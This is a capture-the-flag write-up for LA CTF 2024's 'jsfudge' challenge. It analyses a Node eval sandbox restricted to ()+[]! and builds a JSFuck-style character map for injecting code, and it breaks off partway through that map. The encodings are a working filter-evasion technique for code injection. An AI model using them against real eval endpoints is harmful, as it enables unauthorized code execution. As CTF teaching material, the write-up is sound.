LA CTF 2024 — jsfudge
JsFudge this JsFudge that, why don't you JsFudge the flag.
nc chall.lac.tf 31130
We're given a JavaScript server that, when cleaned up, looks like this:
Code (js):
1#!/usr/local/bin/node
2const runCode = (code) => {
3 const allowed = new Set('()+[]!');
4 for (const char of code) {
5 if (!allowed.has(char)) {
6 console.log('Oops, make sure to only use characters "()+[]!"');
7 return;
8 }
9 }
10 const oldProto=[].__proto__.toString;
11 [].__proto__.toString = () => '^w^';
12 try {
13 const codeRes = eval(code);
14 console.log(codeRes.toString());
15 } catch (e) {
16 console.log('oopsie woopsie stinki poopie', e);
17 } finally {
18 [].__proto__.toString = oldProto;
19 }
20}
21
22const rl = require('readline').createInterface({input: process.stdin, terminal: false});
23(async () => {
24 console.log('Gimme some js code to run');
25 for await (const line of rl) {
26 runCode(line.trim());
27 rl.close();
28 return;
29 }
30})();We're given arbitrary code execution on the server, but only if our payload consists of the characters ()+[]!.
Conveniently, this is the same character set used by JSFuck! Inconveniently, the runCode function has additionally polluted the array .toString() method to return '^w^'. Though we can still encode numbers, booleans, and most other things just fine, simply using the JSFuck encoding algorithm relies on
Code (js):
1[]+[] = ''which is no longer true on the server:
Code (bash):
1kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
2Gimme some js code to run
3!![]
4true
5
6kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
7Gimme some js code to run
8+!![]
91
10
11kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
12Gimme some js code to run
13!+[]+!+[]
142
15
16kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
17Gimme some js code to run
18[]+[]
19^w^^w^Looking at the JSFuck source, however, many of JSFuck's encoding techniques can still be modified to work with the new toString method.
Code (js):
1 const SIMPLE = {
2 'false': '![]',
3 'true': '!![]',
4 'undefined': '[][[]]',
5 'NaN': '+[![]]',
6 'Infinity': '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])' // +"1e1000"
7 };
8
9 // ...
10
11 const MAPPING = {
12 'a': '(false+"")[1]',
13 'b': '([]["entries"]()+"")[2]',
14 'c': '([]["flat"]+"")[3]',
15 'd': '(undefined+"")[2]',
16 'e': '(true+"")[3]',
17 'f': '(false+"")[0]',
18 'g': '(false+[0]+String)[20]',
19 'h': '(+(101))["to"+String["name"]](21)[1]',
20 'i': '([false]+undefined)[10]',
21 'j': '([]["entries"]()+"")[3]',
22 'k': '(+(20))["to"+String["name"]](21)',
23 'l': '(false+"")[2]',
24 'm': '(Number+"")[11]',
25 'n': '(undefined+"")[1]',
26 'o': '(true+[]["flat"])[10]',
27 'p': '(+(211))["to"+String["name"]](31)[1]',
28 'q': '("")["fontcolor"]([0]+false+")[20]',
29 'r': '(true+"")[1]',
30 's': '(false+"")[3]',
31 't': '(true+"")[0]',
32 'u': '(undefined+"")[0]',
33 'v': '(+(31))["to"+String["name"]](32)',
34 'w': '(+(32))["to"+String["name"]](33)',
35 'x': '(+(101))["to"+String["name"]](34)[1]',
36 'y': '(NaN+[Infinity])[10]',
37 'z': '(+(35))["to"+String["name"]](36)',
38
39 // ...
40 };jsfuck.js L6-112
We can then create our own mapping to encode a JS payload and get the flag:
Code (js):
1const CHAR_MAP = {
2 a: "(![]+[])[+!![]]",
3 b: "",
4 c: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]",
5 d: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
6 e: "(!![]+[])[!![]+!![]+!![]]",
7 f: "(![]+[])[+![]]",
8 g: "(([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
9 h: "(+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
10 i: "([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
11 j: "",
12 k: "",
13 l: "(![]+[])[!![]+!![]]",
14 m: "((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
15 n: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]",
16 o: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]",
17 p: "(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
18 q: "([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]](([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
19 r: "(!![]+[])[+!![]]",
20 s: "(![]+[])[!![]+!![]+!![]]",
21 t: "(!![]+[])[+![]]",
22 u: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]",
23 v: "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
24 w: "(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
25 x: "(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
26 y: "(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])[(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[+!![]]+((+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]](!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])",
27 z: "",
28 F: "([][(![]+[])[+![]]+([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
29 S: "(([]+[])[([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
30 '"': "([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
31 '(': "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
32 ')': "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
33 ' ': "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
34 '{': "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
